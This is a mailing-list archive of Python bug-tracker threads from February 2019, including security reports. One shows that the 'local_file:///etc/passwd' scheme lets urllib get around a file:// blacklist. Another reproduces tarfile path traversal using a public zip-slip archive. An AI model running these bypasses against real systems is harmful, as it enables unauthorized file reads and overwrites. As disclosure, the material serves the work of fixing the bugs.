[issue35907] Unnecessary URL scheme exists to allow file:// reading file in urllib

[Sihoon Lee]

New submission from Sihoon Lee :

The Unnecessary scheme exists in urlopen() urllib

when people would protect to read file system in HTTP request of urlopen(), 
they often filter like this against SSRF.

# Vulnerability PoC
import urllib
print urllib.urlopen('local_file:///etc/passwd').read()[:30]
the result is
##
# User Database
# 
# Note t


but if we use a scheme like this, parsing URL cannot parse scheme with 
urlparse()
this is the parsed result.
ParseResult(scheme='', netloc='', path='local_file:/etc/passwd', params='', 
query='', fragment='')


def request(url):
from urllib import urlopen
from urlparse import urlparse

result = urlparse(url)
scheme = result.scheme
if not scheme:
return False #raise Exception("Required scheme")
if scheme == 'file':
return False #raise Exception("Don't open file")
res = urlopen(url)
content = res.read()
print url, content[:30]
return True

assert request('file:///etc/passwd') == False
assert request(' file:///etc/passwd') == False
assert request('File:///etc/passwd') == False
assert request('http://www.google.com') != False

if they filter only file://, this mitigation can be bypassed against SSRF. 
with this way.

assert request('local-file:/etc/passwd') == True
ParseResult(scheme='local-file', netloc='', path='/etc/passwd', params='', 
query='', fragment='') 
parseing URL also can be passed.


# Attack scenario 
this is the unnecessary URL scheme("local_file").
even if it has filtering, An Attacker can read arbitrary files as bypassing 
with it.

# Root Cause

URLopener::open in urllib.py 
from 203 lin

name = 'open_' + urltype
self.type = urltype
name = name.replace('-', '_') #it can also allows local-file
if not hasattr(self, name): #passed here hasattr(URLopener, 'open_local_file')
if proxy:
return self.open_unknown_proxy(proxy, fullurl, data)
else:
return self.open_unknown(fullurl, data)
try:
if data is None:
return getattr(self, name)(url)
else:
return getattr(self, name)(url, data) #return URLopener::open_local_file

it may be just trick because people usually use whitelist (allow only http or 
https. 
Even if but anyone may use blacklist like filtering file://, they will be 
affected with triggering SSRF

--
components: Library (Lib)
messages: 334905
nosy: push0ebp
priority: normal
severity: normal
status: open
title: Unnecessary URL scheme exists to allow file:// reading file  in urllib
type: security
versions: Python 2.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
keywords: +patch, patch
pull_requests: +11729, 11730
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
keywords: +patch, patch, patch
pull_requests: +11729, 11730, 11731
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
keywords: +patch
pull_requests: +11729
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Stéphane Wirtel  added the comment:

Hi all,

Not sure for the right way for this fix but here is a PR. I am interested by 
your feedback.

Thank you

--
nosy: +matrixise

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35903] Build of posixshmem.c should probe for required OS functions

[Ronald Oussoren]

Ronald Oussoren  added the comment:

@Neil: On what version of macOS did you test? 

On 10.14.3 with Xcode 10.1 shm_open is in libSystem (that's named libc on most 
other unixy systems) and there is no library named librt.

--
nosy: +ronaldoussoren

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
pull_requests:  -11731

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
pull_requests:  -11730

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35908] build with building extension modules as builtins is broken in 3.8

[Matthias Klose]

New submission from Matthias Klose :

the build with building extension modules as builtins is broken in 3.8. I 
assume that is some fallout from the header re-organization.  It shows in the 
link step by having undefined references. Undefined symbols are listed below. 
Still looking where the behavior change was introduced, but help would be 
appreciated.


./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: 
libpython3.8m.a(longobject.o):./build-static/../Include/object.h:434: more 
undefined references to `_PyTraceMalloc_NewReference' follow
./build-static/../Objects/longobject.c:1742: undefined reference to 
`PyErr_CheckSignals'
./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
./build-static/../Objects/longobject.c:2769: undefined reference to 
`PyErr_CheckSignals'
./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: 
libpython3.8m.a(longobject.o):./build-static/../Include/object.h:434: more 
undefined references to `_PyTraceMalloc_NewReference' follow
./build-static/../Objects/longobject.c:3309: undefined reference to 
`PyErr_CheckSignals'
./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
./build-static/../Objects/longobject.c:3271: undefined reference to 
`PyErr_CheckSignals'
./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: 
libpython3.8m.a(longobject.o):./build-static/../Include/object.h:434: more 
undefined references to `_PyTraceMalloc_NewReference' follow
./build-static/../Objects/unicodeobject.c:3766: undefined reference to 
`PyOS_FSPath'
./build-static/../Objects/unicodeobject.c:3808: undefined reference to 
`PyOS_FSPath'
./build-static/../Python/pylifecycle.c:2019: undefined reference to 
`_PyFaulthandler_Fini'
/usr/bin/ld: ./build-static/../Python/pylifecycle.c:2019: undefined reference 
to `_PyFaulthandler_Fini'
./build-static/../Python/pylifecycle.c:1091: undefined reference to 
`PyOS_FiniInterrupts'
/usr/bin/ld: ./build-static/../Python/pylifecycle.c:1143: undefined reference 
to `_PyTraceMalloc_Fini'
/usr/bin/ld: ./build-static/../Python/pylifecycle.c:1152: undefined reference 
to `_PyFaulthandler_Fini'
./build-static/../Python/pylifecycle.c:860: undefined reference to 
`_PyFaulthandler_Init'
./build-static/../Python/pylifecycle.c:2150: undefined reference to 
`PyOS_InitInterrupts'
./build-static/../Python/pylifecycle.c:877: undefined reference to 
`_PyTraceMalloc_Init'
./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: ./build-static/../Include/object.h:434: undefined reference to 
`_PyTraceMalloc_NewReference'
/usr/bin/ld: 
libpython3.8m.a(bytesobject.o):./build-static/../Include/object.h:434: more 
undefined references to `_PyTraceMalloc_NewReference' follow
./build-static/../Python/ceval.c:383: undefined reference to 
`PyErr_CheckSignals'
./build-static/../Python/errors.c:497: undefined reference to 
`PyErr_CheckSignals'
/usr/bin/ld: ./build-static/../Python/errors.c:497: undefined reference to 
`PyErr_CheckSignals'
/usr/bin/ld: ./build-static/../Python/errors.c:497: undefined reference to 
`PyErr_CheckSignals'
/usr/bin/ld: ./build-static/../Python/errors.c:497: undefined reference to 
`PyErr_CheckSignals'
./build-s

[issue35907] Unnecessary URL scheme exists to allow file:// reading file in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
nosy: +christian.heimes, martin.panter, matrixise

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35908] build with building extension modules as builtins is broken in 3.8

[Matthias Klose]

Matthias Klose  added the comment:

Setup.local used:

# Edit this file for local setup changes
array arraymodule.c # array objects
cmath cmathmodule.c _math.c # -lm # complex math library functions
math mathmodule.c _math.c # -lm # math library functions, e.g. sin()
_struct _struct.c   # binary structure packing/unpacking
_random _randommodule.c # Random number generator
_elementtree _elementtree.c -lexpat # elementtree accelerator
_pickle _pickle.c   # pickle accelerator
_datetime _datetimemodule.c # datetime accelerator
_bisect _bisectmodule.c # Bisection algorithms
_heapq _heapqmodule.c   # Heap queue algorithm
unicodedata unicodedata.c# static Unicode character database
fcntl fcntlmodule.c # fcntl(2) and ioctl(2)
spwd spwdmodule.c   # spwd(3)
grp grpmodule.c # grp(3)
select selectmodule.c   # select(2); not on ancient System V
_socket socketmodule.c
_posixsubprocess _posixsubprocess.c  # POSIX subprocess module helper
_md5 md5module.c
_sha1 sha1module.c
_sha256 sha256module.c
_sha512 sha512module.c
_sha3 _sha3/sha3module.c
_blake2 _blake2/blake2module.c _blake2/blake2b_impl.c _blake2/blake2s_impl.c
syslog syslogmodule.c   # syslog daemon interface
binascii binascii.c
zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35909] Zip Slip Vulnerability

[uhei3nn9]

New submission from uhei3nn9 :

As has been discovered in 06.2018 the python library is affected by the zip 
slip vulbnerability (meaning code execution)

The affected section https://github.com/python/cpython/blob/3.7/Lib/tarfile.py 
has not been patched since then.

Therefore it seems python has not yet fixed this vulnerability.


Source:
https://github.com/snyk/zip-slip-vulnerability

--
components: Library (Lib)
messages: 334910
nosy: uhei3nn9
priority: normal
severity: normal
status: open
title: Zip Slip Vulnerability
type: security
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35909] Zip Slip Vulnerability

[SilentGhost]

Change by SilentGhost :


--
keywords: +security_issue
nosy: +lars.gustaebel

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35909] Zip Slip Vulnerability

[Sihoon Lee]

Sihoon Lee  added the comment:

When I had tested it before, It was not worked.
Was it really worked?
Could you show me your PoC Code?

--
nosy: +push0ebp -lars.gustaebel

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35908] build with building extension modules as builtins is broken in 3.8

[Matthias Klose]

Matthias Klose  added the comment:

found it, Setup.dist was renamed to Setup.

--
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35909] Zip Slip Vulnerability

[Raymond Hettinger]

Change by Raymond Hettinger :


--
assignee:  -> christian.heimes
nosy: +christian.heimes

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35910] Curious problem with my choice of variables

[Phil Dream]

New submission from Phil Dream :

Firstable I am not a software expert just a hobby user so please be indulgent

I use a Raspberry Pi3B+ with raspbian lite and Python 3.5.3

In my script, I need 2 nested "while" loops so I chose two variables to 
incriment them 'i' and j. This script don't work and I made a certain time to 
understand (I did not think Python could play me a trick).

I needed to reset 'j' to go through the inner loop a few times and in fact I 
realized that when I initialized 'j', 'i' was also initialized !?!?

Very curious isn't it ?

I replaced 'i' by 'y' and no more problem, my script works very well.

--
files: sirext.py
messages: 334913
nosy: Phil Dream
priority: normal
severity: normal
status: open
title: Curious problem with my choice of variables
type: behavior
versions: Python 3.5
Added file: https://bugs.python.org/file48104/sirext.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35909] Zip Slip Vulnerability

[Jeff Knupp]

Jeff Knupp  added the comment:

According to https://snyk.io/research/zip-slip-vulnerability (the source of the 
paper), Python hasn't been vulnerable since 2014.

--
nosy: +jeffknupp

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35910] Curious problem with my choice of variables

[Rémi Lapeyre]

Rémi Lapeyre  added the comment:

Hi @Phil Dream, you reuse i in your inner loop, in the for statement.

By the way, I suggest you look at range() to replace your while loop: 
https://docs.python.org/3/library/functions.html#func-range.


For your others questions, the mailing list are more appropriate than the bug 
tracker.

Have a nice day!

--
nosy: +remi.lapeyre

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35910] Curious problem with my choice of variables

[Stéphane Wirtel]

Stéphane Wirtel  added the comment:

Hi Phil,

This bug tracker is more for the core-dev and the contributors of CPython.

I suggest to you to use the right mailing list for your issues.
or use #python-fr on freenode

Mailing list: https://mail.python.org/mailman/listinfo/python-list

I close this issue because it's not related to the internals of Python.

--
nosy: +matrixise
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35910] Curious problem with my choice of variables

[Phil Dream]

Phil Dream  added the comment:

OK, I am sorry I didn’t know
Best regards

De : Stéphane Wirtel
Envoyé le :mercredi 6 février 2019 11:10
À : philsdr...@gmail.com
Objet :[issue35910] Curious problem with my choice of variables

Stéphane Wirtel  added the comment:

Hi Phil,

This bug tracker is more for the core-dev and the contributors of CPython.

I suggest to you to use the right mailing list for your issues.
or use #python-fr on freenode

Mailing list: https://mail.python.org/mailman/listinfo/python-list

I close this issue because it's not related to the internals of Python.

--
nosy: +matrixise
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

___
Python tracker 

___

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35909] Zip Slip Vulnerability

[SilentGhost]

SilentGhost  added the comment:

issue 21109 was mentioned as an example of reported behaviour in 
https://github.com/snyk/zip-slip-vulnerability/issues/4#issuecomment-395848367

--
nosy: +SilentGhost

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35910] Curious problem with my choice of variables

[Phil Dream]

Phil Dream  added the comment:

OK, I am sorry I didn’t know
Thanks for the advice
Best regards

De : Rémi Lapeyre
Envoyé le :mercredi 6 février 2019 11:07
À : philsdr...@gmail.com
Objet :[issue35910] Curious problem with my choice of variables

Rémi Lapeyre  added the comment:

Hi @Phil Dream, you reuse i in your inner loop, in the for statement.

By the way, I suggest you look at range() to replace your while loop: 
https://docs.python.org/3/library/functions.html#func-range.

For your others questions, the mailing list are more appropriate than the bug 
tracker.

Have a nice day!

--
nosy: +remi.lapeyre

___
Python tracker 

___

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35909] Zip Slip Vulnerability

[Christian Heimes]

Christian Heimes  added the comment:

You are both right and wrong. The zipfile module of Python 3.7 is fine, but the 
tarfile module is still vulnerable.

$ curl -O 
https://raw.githubusercontent.com/snyk/zip-slip-vulnerability/master/archives/zip-slip.zip
$ curl -O 
https://raw.githubusercontent.com/snyk/zip-slip-vulnerability/master/archives/zip-slip.tar
$ mkdir /tmp/zipslip
$ cd /tmp/zipslip

Test zipfile:

$ python3
>>> import zipfile
>>> zf = zipfile.ZipFile('zip-slip.zip')
>>> zf.printdir()
File Name Modified Size
good.txt   2018-04-15 22:04:30   19
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/evil.txt
 2018-04-15 22:04:42   20
>>> zf.extractall()
>>> exit()
$ find
.
./tmp
./tmp/evil.txt
./good.txt
./zip-slip.tar
./zip-slip.zip

Test tarfile

$ rm -rf good.txt tmp/
$ python3
>>> import tarfile
>>> import tarfile
>>> tf = tarfile.TarFile('zip-slip.tar')
>>> tf.list()
?rw-r--r-- grander/staff 19 2018-04-15 19:04:29 good.txt 
?rw-r--r-- grander/staff 20 2018-06-03 13:49:05 
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/evil.txt
 
>>> tf.extractall()
# find
.
./zip-slip.tar
./good.txt
./zip-slip.zip
# cat /tmp/evil.txt 
this is an evil one

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue21109] tarfile: Traversal attack vulnerability

[Christian Heimes]

Christian Heimes  added the comment:

There is some new research on the topic, see 
https://snyk.io/research/zip-slip-vulnerability, 
https://github.com/snyk/zip-slip-vulnerability/issues/4#issuecomment-395848367 
and BPO #35909

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35909] Zip Slip Vulnerability

[Christian Heimes]

Christian Heimes  added the comment:

Thanks for reporting the issue. I'm closing this issue as duplicate of #21109. 
Let's keep all discussion on one issue.

--
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> tarfile: Traversal attack vulnerability

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35907] Unnecessary URL scheme exists to allow file:// reading file in urllib

[Christian Heimes]

Christian Heimes  added the comment:

Thanks for your report. I'm having a hard time understanding your English. If I 
understand you correctly, your bug report is about the open_local_file() method 
and the surprising fact that urllib supports the local_file schema.

I agree, this looks like an implementation artefact. urllib should not expose 
the local_file schema. In Python 3 refuses local_file:// (tested with 3.4 to 
3.7).

>>> import urllib.request
>>> urllib.request.urlopen('local_file:///etc/passwd').read()[:30]
Traceback (most recent call last):
  File "", line 1, in 
  File "/usr/lib64/python3.6/urllib/request.py", line 223, in urlopen
return opener.open(url, data, timeout)
  File "/usr/lib64/python3.6/urllib/request.py", line 526, in open
response = self._open(req, data)
  File "/usr/lib64/python3.6/urllib/request.py", line 549, in _open
'unknown_open', req)
  File "/usr/lib64/python3.6/urllib/request.py", line 504, in _call_chain
result = func(*args)
  File "/usr/lib64/python3.6/urllib/request.py", line 1388, in unknown_open
raise URLError('unknown url type: %s' % type)
urllib.error.URLError: 

--
stage:  -> needs patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35911] add a cell construtor, and expose the cell type in Lib/types.py

[Pierre Glaser]

New submission from Pierre Glaser :

cell objects are containers for the free variables of functions defined in a
local scope. They are located in a function's __closure__ attribute (when
it is not None). A cell is a very simple object, with a single (optional, e.g
the cell can be empty) attribute: cell_contents.

The C/Python API provides a constructor to create such objects (PyCell_New).
However no cell.__new__ method is exposed to the pure python user. Workarounds
exist, but are hacky, and involve the creation of intermediate, unused
functions.

Why would cell-creation be useful? because creating cells happens in pickle
extensions modules designed to save user-defined functions and classes
(https://github.com/cloudpipe/cloudpickle) (*).  These moudules are 
dependencies of
many widely-used data science frameworks (pyspark, ray, dask). Exposing a cell
constructor will simplify theses extensions code base, and alleviate their
maintenance cost.

I propose to add and expose a simple cell constructor, that accepts 0 (empty
cells) or 1 arguments. I also propose to expose the cell type in Lib/types.py
(as types.CellType)


(*): see related issues: https://bugs.python.org/issue35900

--
files: cell.patch
keywords: patch
messages: 334924
nosy: pierreglaser, pitrou, yselivanov
priority: normal
severity: normal
status: open
title: add a cell construtor, and expose the cell type in Lib/types.py
type: enhancement
versions: Python 3.8
Added file: https://bugs.python.org/file48105/cell.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35907] Unnecessary URL scheme exists to allow file:// reading file in urllib

[Christian Heimes]

Christian Heimes  added the comment:

Only the Python 2 urllib module is affected. Python 2.7's urllib2 also 
correctly fails with local_file://

>>> import urllib2
>>> urllib2.urlopen('local_file:///etc/passwd').read()[:30]
Traceback (most recent call last):
  File "", line 1, in 
  File "/home/heimes/dev/python/2.7/Lib/urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
  File "/home/heimes/dev/python/2.7/Lib/urllib2.py", line 429, in open
response = self._open(req, data)
  File "/home/heimes/dev/python/2.7/Lib/urllib2.py", line 452, in _open
'unknown_open', req)
  File "/home/heimes/dev/python/2.7/Lib/urllib2.py", line 407, in _call_chain
result = func(*args)
  File "/home/heimes/dev/python/2.7/Lib/urllib2.py", line 1266, in unknown_open
raise URLError('unknown url type: %s' % type)
urllib2.URLError: 

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35911] add a cell construtor, and expose the cell type in Lib/types.py

[Pierre Glaser]

Change by Pierre Glaser :


Added file: https://bugs.python.org/file48106/test_cell.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30670] pprint for dict in sorted order or insert order?

[Rémi Lapeyre]

Change by Rémi Lapeyre :


--
keywords: +patch
pull_requests: +11732
stage: needs patch -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30670] pprint for dict in sorted order or insert order?

[Rémi Lapeyre]

Change by Rémi Lapeyre :


--
keywords: +patch, patch
pull_requests: +11732, 11733
stage: needs patch -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30670] pprint for dict in sorted order or insert order?

[Rémi Lapeyre]

Change by Rémi Lapeyre :


--
keywords: +patch, patch, patch
pull_requests: +11732, 11733, 11734
stage: needs patch -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue22213] Make pyvenv style virtual environments easier to configure when embedding Python

[Nick Coghlan]

Nick Coghlan  added the comment:

(Added Victor, Eric, and Steve to the nosy list here, as I'd actually forgotten 
about this until issue #35706 reminded me)

Core of the problem: the embedding APIs don't currently offer a 
Windows-compatible way of setting up "use this base Python and this venv 
site-packages", and the way of getting it to work on other platforms is pretty 
obscure.

--
nosy: +eric.snow, steve.dower, vstinner

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35907] Unnecessary URL scheme exists to allow file:// reading file in urllib

[Sihoon Lee]

Sihoon Lee  added the comment:

Sorry for my bad English.
Yes, exactly. Only python 2.7 has been affected. not python3.
So I chose only Python2.7 version.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35907] Unnecessary URL scheme exists to allow file:// reading file in urllib

[Sihoon Lee]

Sihoon Lee  added the comment:

and only urllib, not urllib2.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35907] Unnecessary URL scheme exists to allow file:// reading file in urllib

[Christian Heimes]

Christian Heimes  added the comment:

I'm not a native English speaker either. I wasn't sure if I understood you 
correctly. Thanks!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35907] Unnecessary URL scheme exists to allow file:// reading file in urllib

[Sihoon Lee]

Sihoon Lee  added the comment:

I am not also native English speaker. It's OK. Thank you for reading my report

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35911] add a cell construtor, and expose the cell type in Lib/types.py

[Antoine Pitrou]

Change by Antoine Pitrou :


--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35911] add a cell construtor, and expose the cell type in Lib/types.py

[Antoine Pitrou]

Antoine Pitrou  added the comment:

Hi Pierre,

You'll want to submit your patch as a GitHub pull request.
Also your PR will have to contain:
- tests for the new Python-facing API
- documentation for the new API

You may want to read more in the developer's guide:
https://devguide.python.org/

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30670] pprint for dict in sorted order or insert order?

[Emmanuel Arias]

Emmanuel Arias  added the comment:

Hi!

>def pprint(data, *, sort_dicts=True):
>...

>def pp(data, *args, **kwds):
>pprint(data, *args, sort_dicts=False, **kwds)

We could use the parameters `sort=`? IMHO is better a short parameters name.

If we assign by default sort_dicts=True, that would have some error on 
unittest, isn't?

--
nosy: +eamanu

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30670] pprint for dict in sorted order or insert order?

[Karthikeyan Singaravelan]

Karthikeyan Singaravelan  added the comment:

pprint only sorts dicts currently so sort_dicts is better than sort that sounds 
more general. sort_dicts=True is the current behavior so I guess this is 
backwards compatible way to do this change.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35813] shared memory construct to avoid need for serialization between processes

[Philip Semanchuk]

Philip Semanchuk  added the comment:

Hi all, I'm the author of `posix_ipc` on which some of this code is based. I'd 
be happy to sign a contributor agreement in order to erase any concerns on that 
front.

--
nosy: +osvenskan

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35896] sysconfig.get_platform returns wrong value when Python 32b is running under Windows 64b

[Eryk Sun]

Eryk Sun  added the comment:

> Correct, though the examples I'd give are Win32 vs. WinRT vs. Cygwin, 
> which are fundamentally different API surfaces for interacting with 
> the operating system.

Cygwin and MSYS are presented as more than APIs; they're separate platforms. 
sys.platform is 'cygwin' or 'msys', and os.name is 'posix'.

The Windows platform name is "win32". If we could change it, I'd prefer 
"windows". The C API is the "Windows API" or WINAPI. It used to be called 
Win32, which is still the popular name. The ABI for 32-bit x86 (Intel 
Architecture) is "win32". If we could change it, I'd prefer "win-ia32" to 
parallel "win-amd64".

> os.name is also odd, and honestly I'd rather it just went away 
> completely. I'd like the module to be called "posix" everywhere, 
> since that's the API it exposes (it's an emulation layer on 
> non-POSIX platforms), and checks should use sys.platform. 

os is too entrenched to be renamed. But I'd like it if nt (posixmodule.c) were 
renamed windows_posix (or win32_posix) -- since it has nothing to do with the 
NT API. We would need to move the Windows-only functions to a "windows" (or 
"win32") platform module. This includes _getdiskusage, _getfinalpathname, 
_getfullpathname, _getvolumepathname, _isdir, and startfile. They have no place 
in a POSIX module.

--
nosy: +eryksun

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30670] pprint for dict in sorted order or insert order?

[Emmanuel Arias]

Emmanuel Arias  added the comment:

> pprint only sorts dicts currently so sort_dicts is better than sort that 
> sounds more general. 

Yes. Because pprint just sort dicts, I think that is better rename the 
parameter like just sort. But was an opinion, that does not affect to the 
behavior. 

> sort_dicts=True is the current behavior so I guess this is backwards 
> compatible way to do this change.

I understand it. I was confuse.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30670] pprint for dict in sorted order or insert order?

[Rémi Lapeyre]

Rémi Lapeyre  added the comment:

I agree with Karthikeyan, I would expect sort=True to sort all collections, 
including tuples and lists for example.

--

___
